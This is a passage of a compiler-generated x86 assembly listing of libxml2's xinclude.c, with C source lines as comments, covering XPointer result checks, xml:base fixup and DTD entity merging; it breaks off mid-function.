; 1645 : xmlXIncludeErr(ctxt, ctxt->incTab[nr]->ref,
mov eax, DWORD PTR _fragment$[ebp]
push eax
push OFFSET ??_C@_0CE@BOPHMAJL@XPointer?5selects?5an?5attribute?3?5@
push 1613 ; 0000064dH
mov ecx, DWORD PTR _ctxt$[ebp]
mov edx, DWORD PTR [ecx+16]
mov eax, DWORD PTR _nr$[ebp]
mov ecx, DWORD PTR [edx+eax*4]
mov edx, DWORD PTR [ecx+12]
push edx
mov eax, DWORD PTR _ctxt$[ebp]
push eax
call _xmlXIncludeErr
add esp, 20 ; 00000014H
; 1646 : XML_XINCLUDE_XPTR_RESULT,
; 1647 : "XPointer selects an attribute: #%s\n",
; 1648 : fragment);
; 1649 : set->nodeTab[i] = NULL;
mov ecx, DWORD PTR _set$6[ebp]
mov edx, DWORD PTR [ecx+8]
mov eax, DWORD PTR _i$[ebp]
mov DWORD PTR [edx+eax*4], 0
; 1650 : continue;
jmp $LN10@xmlXInclud
$LN50@xmlXInclud:
; 1651 : case XML_NAMESPACE_DECL:
; 1652 : xmlXIncludeErr(ctxt, ctxt->incTab[nr]->ref,
mov ecx, DWORD PTR _fragment$[ebp]
push ecx
push OFFSET ??_C@_0CD@OMDJDBLC@XPointer?5selects?5a?5namespace?3?5?$CD@
push 1613 ; 0000064dH
mov edx, DWORD PTR _ctxt$[ebp]
mov eax, DWORD PTR [edx+16]
mov ecx, DWORD PTR _nr$[ebp]
mov edx, DWORD PTR [eax+ecx*4]
mov eax, DWORD PTR [edx+12]
push eax
mov ecx, DWORD PTR _ctxt$[ebp]
push ecx
call _xmlXIncludeErr
add esp, 20 ; 00000014H
; 1653 : XML_XINCLUDE_XPTR_RESULT,
; 1654 : "XPointer selects a namespace: #%s\n",
; 1655 : fragment);
; 1656 : set->nodeTab[i] = NULL;
mov edx, DWORD PTR _set$6[ebp]
mov eax, DWORD PTR [edx+8]
mov ecx, DWORD PTR _i$[ebp]
mov DWORD PTR [eax+ecx*4], 0
; 1657 : continue;
jmp $LN10@xmlXInclud
$LN51@xmlXInclud:
; 1658 : case XML_DOCUMENT_TYPE_NODE:
; 1659 : case XML_DOCUMENT_FRAG_NODE:
; 1660 : case XML_NOTATION_NODE:
; 1661 : case XML_DTD_NODE:
; 1662 : case XML_ELEMENT_DECL:
; 1663 : case XML_ATTRIBUTE_DECL:
; 1664 : case XML_ENTITY_DECL:
; 1665 : case XML_XINCLUDE_START:
; 1666 : case XML_XINCLUDE_END:
; 1667 : xmlXIncludeErr(ctxt, ctxt->incTab[nr]->ref,
mov edx, DWORD PTR _fragment$[ebp]
push edx
push OFFSET ??_C@_0CI@NPJMIHPM@XPointer?5selects?5unexpected?5nod@
push 1613 ; 0000064dH
mov eax, DWORD PTR _ctxt$[ebp]
mov ecx, DWORD PTR [eax+16]
mov edx, DWORD PTR _nr$[ebp]
mov eax, DWORD PTR [ecx+edx*4]
mov ecx, DWORD PTR [eax+12]
push ecx
mov edx, DWORD PTR _ctxt$[ebp]
push edx
call _xmlXIncludeErr
add esp, 20 ; 00000014H
; 1668 : XML_XINCLUDE_XPTR_RESULT,
; 1669 : "XPointer selects unexpected nodes: #%s\n",
; 1670 : fragment);
; 1671 : set->nodeTab[i] = NULL;
mov eax, DWORD PTR _set$6[ebp]
mov ecx, DWORD PTR [eax+8]
mov edx, DWORD PTR _i$[ebp]
mov DWORD PTR [ecx+edx*4], 0
; 1672 : set->nodeTab[i] = NULL;
mov eax, DWORD PTR _set$6[ebp]
mov ecx, DWORD PTR [eax+8]
mov edx, DWORD PTR _i$[ebp]
mov DWORD PTR [ecx+edx*4], 0
; 1673 : continue; /* for */
jmp $LN10@xmlXInclud
$LN13@xmlXInclud:
; 1674 : }
; 1675 : }
jmp $LN10@xmlXInclud
$LN46@xmlXInclud:
; 1676 : }
; 1677 : if (doc == NULL) {
cmp DWORD PTR _doc$[ebp], 0
jne SHORT $LN52@xmlXInclud
; 1678 : ctxt->incTab[nr]->xptr = xptr;
mov eax, DWORD PTR _ctxt$[ebp]
mov ecx, DWORD PTR [eax+16]
mov edx, DWORD PTR _nr$[ebp]
mov eax, DWORD PTR [ecx+edx*4]
mov ecx, DWORD PTR _xptr$8[ebp]
mov DWORD PTR [eax+28], ecx
; 1679 : ctxt->incTab[nr]->inc = NULL;
mov edx, DWORD PTR _ctxt$[ebp]
mov eax, DWORD PTR [edx+16]
mov ecx, DWORD PTR _nr$[ebp]
mov edx, DWORD PTR [eax+ecx*4]
mov DWORD PTR [edx+16], 0
; 1680 : } else {
jmp SHORT $LN53@xmlXInclud
$LN52@xmlXInclud:
; 1681 : ctxt->incTab[nr]->inc =
mov eax, DWORD PTR _xptr$8[ebp]
push eax
mov ecx, DWORD PTR _doc$[ebp]
push ecx
mov edx, DWORD PTR _ctxt$[ebp]
mov eax, DWORD PTR [edx]
push eax
mov ecx, DWORD PTR _ctxt$[ebp]
push ecx
call _xmlXIncludeCopyXPointer
add esp, 16 ; 00000010H
mov edx, DWORD PTR _ctxt$[ebp]
mov ecx, DWORD PTR [edx+16]
mov edx, DWORD PTR _nr$[ebp]
mov ecx, DWORD PTR [ecx+edx*4]
mov DWORD PTR [ecx+16], eax
; 1682 : xmlXIncludeCopyXPointer(ctxt, ctxt->doc, doc, xptr);
; 1683 : xmlXPathFreeObject(xptr);
mov edx, DWORD PTR _xptr$8[ebp]
push edx
call _xmlXPathFreeObject
add esp, 4
$LN53@xmlXInclud:
; 1684 : }
; 1685 : xmlXPathFreeContext(xptrctxt);
mov eax, DWORD PTR _xptrctxt$7[ebp]
push eax
call _xmlXPathFreeContext
add esp, 4
; 1686 : xmlFree(fragment);
mov esi, esp
mov ecx, DWORD PTR _fragment$[ebp]
push ecx
call DWORD PTR _xmlFree
add esp, 4
cmp esi, esp
call __RTC_CheckEsp
$LN34@xmlXInclud:
; 1687 : }
; 1688 : #endif
; 1689 :
; 1690 : /*
; 1691 : * Do the xml:base fixup if needed
; 1692 : */
; 1693 : if ((doc != NULL) && (URL != NULL) &&
; 1694 : (!(ctxt->parseFlags & XML_PARSE_NOBASEFIX)) &&
cmp DWORD PTR _doc$[ebp], 0
je $LN54@xmlXInclud
cmp DWORD PTR _URL$[ebp], 0
je $LN54@xmlXInclud
mov edx, DWORD PTR _ctxt$[ebp]
mov eax, DWORD PTR [edx+60]
and eax, 262144 ; 00040000H
jne $LN54@xmlXInclud
mov ecx, DWORD PTR _doc$[ebp]
mov edx, DWORD PTR [ecx+88]
and edx, 262144 ; 00040000H
jne $LN54@xmlXInclud
; 1695 : (!(doc->parseFlags & XML_PARSE_NOBASEFIX))) {
; 1696 : xmlNodePtr node;
; 1697 : xmlChar *base;
; 1698 : xmlChar *curBase;
; 1699 :
; 1700 : /*
; 1701 : * The base is only adjusted if "necessary", i.e. if the xinclude node
; 1702 : * has a base specified, or the URL is relative
; 1703 : */
; 1704 : base = xmlGetNsProp(ctxt->incTab[nr]->ref, BAD_CAST "base",
push OFFSET ??_C@_0CF@GLDAAHFK@http?3?1?1www?4w3?4org?1XML?11998?1name@
push OFFSET ??_C@_04BHIIPFEC@base@
mov eax, DWORD PTR _ctxt$[ebp]
mov ecx, DWORD PTR [eax+16]
mov edx, DWORD PTR _nr$[ebp]
mov eax, DWORD PTR [ecx+edx*4]
mov ecx, DWORD PTR [eax+12]
push ecx
call _xmlGetNsProp
add esp, 12 ; 0000000cH
mov DWORD PTR _base$4[ebp], eax
; 1705 : XML_XML_NAMESPACE);
; 1706 : if (base == NULL) {
cmp DWORD PTR _base$4[ebp], 0
jne SHORT $LN55@xmlXInclud
; 1707 : /*
; 1708 : * No xml:base on the xinclude node, so we check whether the
; 1709 : * URI base is different than (relative to) the context base
; 1710 : */
; 1711 : curBase = xmlBuildRelativeURI(URL, ctxt->base);
mov edx, DWORD PTR _ctxt$[ebp]
mov eax, DWORD PTR [edx+64]
push eax
mov ecx, DWORD PTR _URL$[ebp]
push ecx
call _xmlBuildRelativeURI
add esp, 8
mov DWORD PTR _curBase$3[ebp], eax
; 1712 : if (curBase == NULL) { /* Error return */
cmp DWORD PTR _curBase$3[ebp], 0
jne SHORT $LN56@xmlXInclud
; 1713 : xmlXIncludeErr(ctxt, ctxt->incTab[nr]->ref,
mov edx, DWORD PTR _URL$[ebp]
push edx
push OFFSET ??_C@_0CG@KGJNPLJO@trying?5to?5build?5relative?5URI?5fr@
push 1605 ; 00000645H
mov eax, DWORD PTR _ctxt$[ebp]
mov ecx, DWORD PTR [eax+16]
mov edx, DWORD PTR _nr$[ebp]
mov eax, DWORD PTR [ecx+edx*4]
mov ecx, DWORD PTR [eax+12]
push ecx
mov edx, DWORD PTR _ctxt$[ebp]
push edx
call _xmlXIncludeErr
add esp, 20 ; 00000014H
; 1714 : XML_XINCLUDE_HREF_URI,
; 1715 : "trying to build relative URI from %s\n", URL);
; 1716 : } else {
jmp SHORT $LN55@xmlXInclud
$LN56@xmlXInclud:
; 1717 : /* If the URI doesn't contain a slash, it's not relative */
; 1718 : if (!xmlStrchr(curBase, (xmlChar) '/'))
push 47 ; 0000002fH
mov eax, DWORD PTR _curBase$3[ebp]
push eax
call _xmlStrchr
add esp, 8
test eax, eax
jne SHORT $LN58@xmlXInclud
; 1719 : xmlFree(curBase);
mov esi, esp
mov ecx, DWORD PTR _curBase$3[ebp]
push ecx
call DWORD PTR _xmlFree
add esp, 4
cmp esi, esp
call __RTC_CheckEsp
jmp SHORT $LN55@xmlXInclud
$LN58@xmlXInclud:
; 1720 : else
; 1721 : base = curBase;
mov edx, DWORD PTR _curBase$3[ebp]
mov DWORD PTR _base$4[ebp], edx
$LN55@xmlXInclud:
; 1722 : }
; 1723 : }
; 1724 : if (base != NULL) { /* Adjustment may be needed */
cmp DWORD PTR _base$4[ebp], 0
je $LN54@xmlXInclud
; 1725 : node = ctxt->incTab[nr]->inc;
mov eax, DWORD PTR _ctxt$[ebp]
mov ecx, DWORD PTR [eax+16]
mov edx, DWORD PTR _nr$[ebp]
mov eax, DWORD PTR [ecx+edx*4]
mov ecx, DWORD PTR [eax+16]
mov DWORD PTR _node$5[ebp], ecx
$LN15@xmlXInclud:
; 1726 : while (node != NULL) {
cmp DWORD PTR _node$5[ebp], 0
je $LN16@xmlXInclud
; 1727 : /* Only work on element nodes */
; 1728 : if (node->type == XML_ELEMENT_NODE) {
mov edx, DWORD PTR _node$5[ebp]
cmp DWORD PTR [edx+4], 1
jne $LN61@xmlXInclud
; 1729 : curBase = xmlNodeGetBase(node->doc, node);
mov eax, DWORD PTR _node$5[ebp]
push eax
mov ecx, DWORD PTR _node$5[ebp]
mov edx, DWORD PTR [ecx+32]
push edx
call _xmlNodeGetBase
add esp, 8
mov DWORD PTR _curBase$3[ebp], eax
; 1730 : /* If no current base, set it */
; 1731 : if (curBase == NULL) {
cmp DWORD PTR _curBase$3[ebp], 0
jne SHORT $LN62@xmlXInclud
; 1732 : xmlNodeSetBase(node, base);
mov eax, DWORD PTR _base$4[ebp]
push eax
mov ecx, DWORD PTR _node$5[ebp]
push ecx
call _xmlNodeSetBase
add esp, 8
; 1733 : } else {
jmp $LN61@xmlXInclud
$LN62@xmlXInclud:
; 1734 : /*
; 1735 : * If the current base is the same as the
; 1736 : * URL of the document, then reset it to be
; 1737 : * the specified xml:base or the relative URI
; 1738 : */
; 1739 : if (xmlStrEqual(curBase, node->doc->URL)) {
mov edx, DWORD PTR _node$5[ebp]
mov eax, DWORD PTR [edx+32]
mov ecx, DWORD PTR [eax+72]
push ecx
mov edx, DWORD PTR _curBase$3[ebp]
push edx
call _xmlStrEqual
add esp, 8
test eax, eax
je SHORT $LN64@xmlXInclud
; 1740 : xmlNodeSetBase(node, base);
mov eax, DWORD PTR _base$4[ebp]
push eax
mov ecx, DWORD PTR _node$5[ebp]
push ecx
call _xmlNodeSetBase
add esp, 8
; 1741 : } else {
jmp $LN65@xmlXInclud
$LN64@xmlXInclud:
; 1742 : /*
; 1743 : * If the element already has an xml:base
; 1744 : * set, then relativise it if necessary
; 1745 : */
; 1746 : xmlChar *xmlBase;
; 1747 : xmlBase = xmlGetNsProp(node,
push OFFSET ??_C@_0CF@GLDAAHFK@http?3?1?1www?4w3?4org?1XML?11998?1name@
push OFFSET ??_C@_04BHIIPFEC@base@
mov edx, DWORD PTR _node$5[ebp]
push edx
call _xmlGetNsProp
add esp, 12 ; 0000000cH
mov DWORD PTR _xmlBase$2[ebp], eax
; 1748 : BAD_CAST "base",
; 1749 : XML_XML_NAMESPACE);
; 1750 : if (xmlBase != NULL) {
cmp DWORD PTR _xmlBase$2[ebp], 0
je $LN65@xmlXInclud
; 1751 : xmlChar *relBase;
; 1752 : relBase = xmlBuildURI(xmlBase, base);
mov eax, DWORD PTR _base$4[ebp]
push eax
mov ecx, DWORD PTR _xmlBase$2[ebp]
push ecx
call _xmlBuildURI
add esp, 8
mov DWORD PTR _relBase$1[ebp], eax
; 1753 : if (relBase == NULL) { /* error */
cmp DWORD PTR _relBase$1[ebp], 0
jne SHORT $LN67@xmlXInclud
; 1754 : xmlXIncludeErr(ctxt,
mov edx, DWORD PTR _xmlBase$2[ebp]
push edx
push OFFSET ??_C@_0CA@DKDEEGND@trying?5to?5rebuild?5base?5from?5?$CFs?6@
push 1605 ; 00000645H
mov eax, DWORD PTR _ctxt$[ebp]
mov ecx, DWORD PTR [eax+16]
mov edx, DWORD PTR _nr$[ebp]
mov eax, DWORD PTR [ecx+edx*4]
mov ecx, DWORD PTR [eax+12]
push ecx
mov edx, DWORD PTR _ctxt$[ebp]
push edx
call _xmlXIncludeErr
add esp, 20 ; 00000014H
; 1755 : ctxt->incTab[nr]->ref,
; 1756 : XML_XINCLUDE_HREF_URI,
; 1757 : "trying to rebuild base from %s\n",
; 1758 : xmlBase);
; 1759 : } else {
jmp SHORT $LN68@xmlXInclud
$LN67@xmlXInclud:
; 1760 : xmlNodeSetBase(node, relBase);
mov eax, DWORD PTR _relBase$1[ebp]
push eax
mov ecx, DWORD PTR _node$5[ebp]
push ecx
call _xmlNodeSetBase
add esp, 8
; 1761 : xmlFree(relBase);
mov esi, esp
mov edx, DWORD PTR _relBase$1[ebp]
push edx
call DWORD PTR _xmlFree
add esp, 4
cmp esi, esp
call __RTC_CheckEsp
$LN68@xmlXInclud:
; 1762 : }
; 1763 : xmlFree(xmlBase);
mov esi, esp
mov eax, DWORD PTR _xmlBase$2[ebp]
push eax
call DWORD PTR _xmlFree
add esp, 4
cmp esi, esp
call __RTC_CheckEsp
$LN65@xmlXInclud:
; 1764 : }
; 1765 : }
; 1766 : xmlFree(curBase);
mov esi, esp
mov ecx, DWORD PTR _curBase$3[ebp]
push ecx
call DWORD PTR _xmlFree
add esp, 4
cmp esi, esp
call __RTC_CheckEsp
$LN61@xmlXInclud:
; 1767 : }
; 1768 : }
; 1769 : node = node->next;
mov edx, DWORD PTR _node$5[ebp]
mov eax, DWORD PTR [edx+24]
mov DWORD PTR _node$5[ebp], eax
; 1770 : }
jmp $LN15@xmlXInclud
$LN16@xmlXInclud:
; 1771 : xmlFree(base);
mov esi, esp
mov ecx, DWORD PTR _base$4[ebp]
push ecx
call DWORD PTR _xmlFree
add esp, 4
cmp esi, esp
call __RTC_CheckEsp
$LN54@xmlXInclud:
; 1772 : }
; 1773 : }
; 1774 : if ((nr < ctxt->incNr) && (ctxt->incTab[nr]->doc != NULL) &&
mov edx, DWORD PTR _ctxt$[ebp]
mov eax, DWORD PTR _nr$[ebp]
cmp eax, DWORD PTR [edx+8]
jge SHORT $LN69@xmlXInclud
mov ecx, DWORD PTR _ctxt$[ebp]
mov edx, DWORD PTR [ecx+16]
mov eax, DWORD PTR _nr$[ebp]
mov ecx, DWORD PTR [edx+eax*4]
cmp DWORD PTR [ecx+8], 0
je SHORT $LN69@xmlXInclud
mov edx, DWORD PTR _ctxt$[ebp]
mov eax, DWORD PTR [edx+16]
mov ecx, DWORD PTR _nr$[ebp]
mov edx, DWORD PTR [eax+ecx*4]
cmp DWORD PTR [edx+24], 1
jg SHORT $LN69@xmlXInclud
; 1775 : (ctxt->incTab[nr]->count <= 1)) {
; 1776 : #ifdef DEBUG_XINCLUDE
; 1777 : printf("freeing %s\n", ctxt->incTab[nr]->doc->URL);
; 1778 : #endif
; 1779 : xmlFreeDoc(ctxt->incTab[nr]->doc);
mov eax, DWORD PTR _ctxt$[ebp]
mov ecx, DWORD PTR [eax+16]
mov edx, DWORD PTR _nr$[ebp]
mov eax, DWORD PTR [ecx+edx*4]
mov ecx, DWORD PTR [eax+8]
push ecx
call _xmlFreeDoc
add esp, 4
; 1780 : ctxt->incTab[nr]->doc = NULL;
mov edx, DWORD PTR _ctxt$[ebp]
mov eax, DWORD PTR [edx+16]
mov ecx, DWORD PTR _nr$[ebp]
mov edx, DWORD PTR [eax+ecx*4]
mov DWORD PTR [edx+8], 0
$LN69@xmlXInclud:
; 1781 : }
; 1782 : xmlFree(URL);
mov esi, esp
mov eax, DWORD PTR _URL$[ebp]
push eax
call DWORD PTR _xmlFree
add esp, 4
cmp esi, esp
call __RTC_CheckEsp
; 1783 : return(0);
xor eax, eax
$LN1@xmlXInclud:
; 1784 : }
pop edi
pop esi
add esp, 64 ; 00000040H
cmp ebp, esp
call __RTC_CheckEsp
mov esp, ebp
pop ebp
ret 0
npad 2
$LN73@xmlXInclud:
DD $LN41@xmlXInclud
DD $LN42@xmlXInclud
DD $LN8@xmlXInclud
$LN71@xmlXInclud:
DB 0
DB 1
DB 0
DB 0
DB 0
DB 0
DB 2
DB 2
DB 0
DB 0
npad 2
$LN74@xmlXInclud:
DD $LN48@xmlXInclud
DD $LN49@xmlXInclud
DD $LN51@xmlXInclud
DD $LN50@xmlXInclud
$LN72@xmlXInclud:
DB 0
DB 1
DB 0
DB 0
DB 0
DB 0
DB 0
DB 0
DB 0
DB 2
DB 2
DB 2
DB 0
DB 2
DB 2
DB 2
DB 2
DB 3
DB 2
DB 2
DB 0
_xmlXIncludeLoadDoc ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xinclude.c
; COMDAT _xmlXIncludeMergeEntities
_TEXT SEGMENT
_data$1 = -40 ; size = 8
_data$2 = -24 ; size = 8
_source$ = -12 ; size = 4
_target$ = -8 ; size = 4
_cur$ = -4 ; size = 4
_ctxt$ = 8 ; size = 4
_doc$ = 12 ; size = 4
_from$ = 16 ; size = 4
_xmlXIncludeMergeEntities PROC ; COMDAT
; 1344 : xmlDocPtr from) {
push ebp
mov ebp, esp
sub esp, 44 ; 0000002cH
push edi
lea edi, DWORD PTR [ebp-44]
mov ecx, 11 ; 0000000bH
mov eax, -858993460 ; ccccccccH
rep stosd
mov ecx, OFFSET __07371726_xinclude@c
call @__CheckForDebuggerJustMyCode@4
; 1345 : xmlNodePtr cur;
; 1346 : xmlDtdPtr target, source;
; 1347 :
; 1348 : if (ctxt == NULL)
cmp DWORD PTR _ctxt$[ebp], 0
jne SHORT $LN2@xmlXInclud
; 1349 : return(-1);
or eax, -1
jmp $LN1@xmlXInclud
$LN2@xmlXInclud:
; 1350 :
; 1351 : if ((from == NULL) || (from->intSubset == NULL))
cmp DWORD PTR _from$[ebp], 0
je SHORT $LN4@xmlXInclud
mov eax, DWORD PTR _from$[ebp]
cmp DWORD PTR [eax+44], 0
jne SHORT $LN3@xmlXInclud
$LN4@xmlXInclud:
; 1352 : return(0);
xor eax, eax
jmp $LN1@xmlXInclud
$LN3@xmlXInclud:
; 1353 :
; 1354 : target = doc->intSubset;
mov ecx, DWORD PTR _doc$[ebp]
mov edx, DWORD PTR [ecx+44]
mov DWORD PTR _target$[ebp], edx
; 1355 : if (target == NULL) {
cmp DWORD PTR _target$[ebp], 0
jne SHORT $LN5@xmlXInclud
; 1356 : cur = xmlDocGetRootElement(doc);
mov eax, DWORD PTR _doc$[ebp]
push eax
call _xmlDocGetRootElement
add esp, 4
mov DWORD PTR _cur$[ebp], eax
; 1357 : if (cur == NULL)
cmp DWORD PTR _cur$[ebp], 0
jne SHORT $LN6@xmlXInclud
; 1358 : return(-1);
or eax, -1
jmp $LN1@xmlXInclud
$LN6@xmlXInclud:
; 1359 : target = xmlCreateIntSubset(doc, cur->name, NULL, NULL);
push 0
push 0
mov ecx, DWORD PTR _cur$[ebp]
mov edx, DWORD PTR [ecx+8]
push edx
mov eax, DWORD PTR _doc$[ebp]
push eax
call _xmlCreateIntSubset
add esp, 16 ; 00000010H
mov DWORD PTR _target$[ebp], eax
; 1360 : if (target == NULL)
cmp DWORD PTR _target$[ebp], 0
jne SHORT $LN5@xmlXInclud
; 1361 : return(-1);
or eax, -1
jmp $LN1@xmlXInclud
$LN5@xmlXInclud:
; 1362 : }
; 1363 :
; 1364 : source = from->intSubset;
mov ecx, DWORD PTR _from$[ebp]
mov edx, DWORD PTR [ecx+44]
mov DWORD PTR _source$[ebp], edx
; 1365 : if ((source != NULL) && (source->entities != NULL)) {
cmp DWORD PTR _source$[ebp], 0
je SHORT $LN8@xmlXInclud
mov eax, DWORD PTR _source$[ebp]
cmp DWORD PTR [eax+48], 0
je SHORT $LN8@xmlXInclud
; 1366 : xmlXIncludeMergeData data;
; 1367 :
; 1368 : data.ctxt = ctxt;
mov ecx, DWORD PTR _ctxt$[ebp]
mov DWORD PTR _data$2[ebp+4], ecx
; 1369 : data.doc = doc;
mov edx, DWORD PTR _doc$[ebp]
mov DWORD PTR _data$2[ebp], edx
; 1370 :
; 1371 : xmlHashScan((xmlHashTablePtr) source->entities,
lea eax, DWORD PTR _data$2[ebp]
push eax
push OFFSET _xmlXIncludeMergeEntity
mov ecx, DWORD PTR _source$[ebp]
mov edx, DWORD PTR [ecx+48]
push edx
call _xmlHashScan
add esp, 12 ; 0000000cH
$LN8@xmlXInclud:
; 1372 : xmlXIncludeMergeEntity, &data);
; 1373 : }
; 1374 : source = from->extSubset;
mov eax, DWORD PTR _from$[ebp]
mov ecx, DWORD PTR [eax+48]
mov DWORD PTR _source$[ebp], ecx
; 1375 : if ((source != NULL) && (source->entities != NULL)) {
cmp DWORD PTR _source$[ebp], 0
je SHORT $LN9@xmlXInclud
mov edx, DWORD PTR _source$[ebp]
cmp DWORD PTR [edx+48], 0
je SHORT $LN9@xmlXInclud
; 1376 : xmlXIncludeMergeData data;
; 1377 :
; 1378 : data.ctxt = ctxt;
mov eax, DWORD PTR _ctxt$[ebp]
mov DWORD PTR _data$1[ebp+4], eax
; 1379 : data.doc = doc;
mov ecx, DWORD PTR _doc$[ebp]
mov DWORD PTR _data$1[ebp], ecx
; 1380 :
; 1381 : /*
; 1382 : * don't duplicate existing stuff when external subsets are the same
; 1383 : */
; 1384 : if ((!xmlStrEqual(target->ExternalID, source->ExternalID)) &&
mov edx, DWORD PTR _source$[ebp]
mov eax, DWORD PTR [edx+52]
push eax
mov ecx, DWORD PTR _target$[ebp]
mov edx, DWORD PTR [ecx+52]
push edx
call _xmlStrEqual
add esp, 8
test eax, eax
jne SHORT $LN9@xmlXInclud
mov eax, DWORD PTR _source$[ebp]
mov ecx, DWORD PTR [eax+56]
push ecx
mov edx, DWORD PTR _target$[ebp]
mov eax, DWORD PTR [edx+56]
push eax
call _xmlStrEqual
add esp, 8
test eax, eax
jne SHORT $LN9@xmlXInclud
; 1385 : (!xmlStrEqual(target->SystemID, source->SystemID))) {
; 1386 : xmlHashScan((xmlHashTablePtr) source->entities,
lea ecx, DWORD PTR _data$1[ebp]
push ecx
push OFFSET _xmlXIncludeMergeEntity
mov edx, DWORD PTR _source$[ebp]
mov eax, DWORD PTR [edx+48]
push eax
call _xmlHashScan
add esp, 12 ; 0000000cH
$LN9@xmlXInclud:
; 1387 : xmlXIncludeMergeEntity, &data);
; 1388 : }
; 1389 : }
; 1390 : return(0);
xor eax, eax
$LN1@xmlXInclud:
; 1391 : }
push edx
mov ecx, ebp
push eax
lea edx, DWORD PTR $LN15@xmlXInclud
call @_RTC_CheckStackVars@8
pop eax
pop edx
pop edi
add esp, 44 ; 0000002cH
cmp ebp, esp
call __RTC_CheckEsp
mov esp, ebp
pop ebp
ret 0
npad 2
$LN15@xmlXInclud:
DD 2
DD $LN14@xmlXInclud
$LN14@xmlXInclud:
DD -24 ; ffffffe8H
DD 8
DD $LN12@xmlXInclud
DD -40 ; ffffffd8H
DD 8
DD $LN13@xmlXInclud
$LN13@xmlXInclud:
DB 100 ; 00000064H
DB 97 ; 00000061H
DB 116 ; 00000074H
DB 97 ; 00000061H
DB 0
$LN12@xmlXInclud:
DB 100 ; 00000064H
DB 97 ; 00000061H
DB 116 ; 00000074H
DB 97 ; 00000061H
DB 0
_xmlXIncludeMergeEntities ENDP
_TEXT ENDS
; Function compile flags: /Odtp /RTCsu
; File c:\users\dag\documents\_clients\codeproject authors group\windows on arm\libxml2\libxml2-2.9.9\xinclude.c
; COMDAT _xmlXIncludeMergeEntity
_TEXT SEGMENT
tv164 = -32 ; size = 4
tv71 = -28 ; size = 4
_ctxt$ = -24 ; size = 4
_doc$ = -20 ; size = 4
_prev$ = -16 ; size = 4
_ret$ = -12 ; size = 4
_data$ = -8 ; size = 4
_ent$ = -4 ; size = 4
_payload$ = 8 ; size = 4
_vdata$ = 12 ; size = 4
_name$ = 16 ; size = 4
_xmlXIncludeMergeEntity PROC ; COMDAT
; 1265 : const xmlChar *name ATTRIBUTE_UNUSED) {
push ebp
mov ebp, esp
sub esp, 32 ; 00000020H
mov eax, -858993460 ; ccccccccH
mov DWORD PTR [ebp-32], eax
mov DWORD PTR [ebp-28], eax
mov DWORD PTR [ebp-24], eax
mov DWORD PTR [ebp-20], eax
mov DWORD PTR [ebp-16], eax
mov DWORD PTR [ebp-12], eax
mov DWORD PTR [ebp-8], eax
mov DWORD PTR [ebp-4], eax
mov ecx, OFFSET __07371726_xinclude@c
call @__CheckForDebuggerJustMyCode@4
; 1266 : xmlEntityPtr ent = (xmlEntityPtr) payload;
mov eax, DWORD PTR _payload$[ebp]
mov DWORD PTR _ent$[ebp], eax
; 1267 : xmlXIncludeMergeDataPtr data = (xmlXIncludeMergeDataPtr) vdata;
mov ecx, DWORD PTR _vdata$[ebp]
mov DWORD PTR _data$[ebp], ecx
; 1268 : xmlEntityPtr ret, prev;
; 1269 : xmlDocPtr doc;
; 1270 : xmlXIncludeCtxtPtr ctxt;
; 1271 :
; 1272 : if ((ent == NULL) || (data == NULL))
cmp DWORD PTR _ent$[ebp], 0
je SHORT $LN7@xmlXInclud
cmp DWORD PTR _data$[ebp], 0
jne SHORT $LN6@xmlXInclud
$LN7@xmlXInclud:
; 1273 : return;
jmp $LN1@xmlXInclud
$LN6@xmlXInclud:
; 1274 : ctxt = data->ctxt;
mov edx, DWORD PTR _data$[ebp]
mov eax, DWORD PTR [edx+4]
mov DWORD PTR _ctxt$[ebp], eax
; 1275 : doc = data->doc;
mov ecx, DWORD PTR _data$[ebp]
mov edx, DWORD PTR [ecx]
mov DWORD PTR _doc$[ebp], edx
; 1276 : if ((ctxt == NULL) || (doc == NULL))
cmp DWORD PTR _ctxt$[ebp], 0
je SHORT $LN9@xmlXInclud
cmp DWORD PTR _doc$[ebp], 0
jne SHORT $LN8@xmlXInclud
$LN9@xmlXInclud:
; 1277 : return;
jmp $LN1@xmlXInclud
$LN8@xmlXInclud:
; 1278 : switch (ent->etype) {
mov eax, DWORD PTR _ent$[ebp]
mov ecx, DWORD PTR [eax+48]
mov DWORD PTR tv71[ebp], ecx
cmp DWORD PTR tv71[ebp], 4
jl SHORT $LN2@xmlXInclud
cmp DWORD PTR tv71[ebp], 6
jle SHORT $LN10@xmlXInclud
jmp SHORT $LN2@xmlXInclud
$LN10@xmlXInclud:
; 1279 : case XML_INTERNAL_PARAMETER_ENTITY:
; 1280 : case XML_EXTERNAL_PARAMETER_ENTITY:
; 1281 : case XML_INTERNAL_PREDEFINED_ENTITY:
; 1282 : return;
jmp $LN1@xmlXInclud
$LN2@xmlXInclud:
; 1283 : case XML_INTERNAL_GENERAL_ENTITY:
; 1284 : case XML_EXTERNAL_GENERAL_PARSED_ENTITY:
; 1285 : case XML_EXTERNAL_GENERAL_UNPARSED_ENTITY:
; 1286 : break;
; 1287 : }
; 1288 : ret = xmlAddDocEntity(doc, ent->name, ent->etype, ent->ExternalID,
mov edx, DWORD PTR _ent$[ebp]
mov eax, DWORD PTR [edx+40]
push eax
mov ecx, DWORD PTR _ent$[ebp]
mov edx, DWORD PTR [ecx+56]
push edx
mov eax, DWORD PTR _ent$[ebp]
mov ecx, DWORD PTR [eax+52]
push ecx
mov edx, DWORD PTR _ent$[ebp]
mov eax, DWORD PTR [edx+48]
push eax
mov ecx, DWORD PTR _ent$[ebp]
mov edx, DWORD PTR [ecx+8]
push edx
mov eax, DWORD PTR _doc$[ebp]
push eax
call _xmlAddDocEntity
add esp, 24 ; 00000018H
mov DWORD PTR _ret$[ebp], eax
; 1289 : ent->SystemID, ent->content);
; 1290 : if (ret != NULL) {
cmp DWORD PTR _ret$[ebp], 0
je SHORT $LN12@xmlXInclud
; 1291 : if (ent->URI != NULL)
mov ecx, DWORD PTR _ent$[ebp]
cmp DWORD PTR [ecx+64], 0
je SHORT $LN14@xmlXInclud
; 1292 : ret->URI = xmlStrdup(ent->URI);
mov edx, DWORD PTR _ent$[ebp]
mov eax, DWORD PTR [edx+64]
push eax
call _xmlStrdup
add esp, 4
mov ecx, DWORD PTR _ret$[ebp]
mov DWORD PTR [ecx+64], eax
$LN14@xmlXInclud:
; 1293 : } else {
jmp $LN13@xmlXInclud
$LN12@xmlXInclud:
; 1294 : prev = xmlGetDocEntity(doc, ent->name);
mov edx, DWORD PTR _ent$[ebp]
mov eax, DWORD PTR [edx+8]
push eax
mov ecx, DWORD PTR _doc$[ebp]
